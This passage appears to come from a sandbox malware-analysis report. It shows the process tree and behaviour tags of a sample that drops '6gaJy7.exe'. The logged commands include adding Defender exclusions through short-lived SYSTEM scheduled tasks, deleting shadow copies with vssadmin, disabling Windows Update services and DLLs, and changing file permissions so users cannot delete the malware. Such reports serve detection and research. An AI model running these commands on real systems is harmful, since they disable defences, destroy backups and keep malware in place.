    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\VMqg4w\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1788
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4968
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3156
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3264
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3160
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3260
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1856
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3616
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3372
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2752
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1160
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1636
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1112
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3636
- C:\Program Files (x86)\6gaJy7\6gaJy7.exe
  "C:\Program Files (x86)\6gaJy7\6gaJy7.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1480
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3884
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4156
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:3940
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2524
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3300
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\6gaJy7\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:2708
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\6gaJy7\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3684
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2316
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1940
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:732
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1636
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:4560
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4600
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2120
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:1664
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3936
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4724
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4304
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1188
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:968
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1764
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4776
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:3112
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3108
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3692
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4636
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4620
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2636
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4568
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2432
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4448
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2656
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2380
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:216
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5084
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:3996
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1112
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4864
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4000
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3084
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4292
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3692
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3464
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4336
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2632
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:320
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:868
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1484
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3704
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4044
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:968
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7\6gaJy7.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4608
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7\6gaJy7.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4920
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7\6gaJy7.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4892
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7\6gaJy7.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3800
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2252
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1076
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1424
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3384
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7\6gaJy7.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4680
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7\6gaJy7.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1924
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3492
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2416
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3396
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4872
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4236
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2152
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3216
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2524
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2544
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1420
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:4968
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3484
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1804
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2760
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1796
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4024
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3784
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2972
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4764
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3956
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\6gaJy7\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3016
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\6gaJy7\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:384

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\VMqg4w" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1540
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\VMqg4w" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
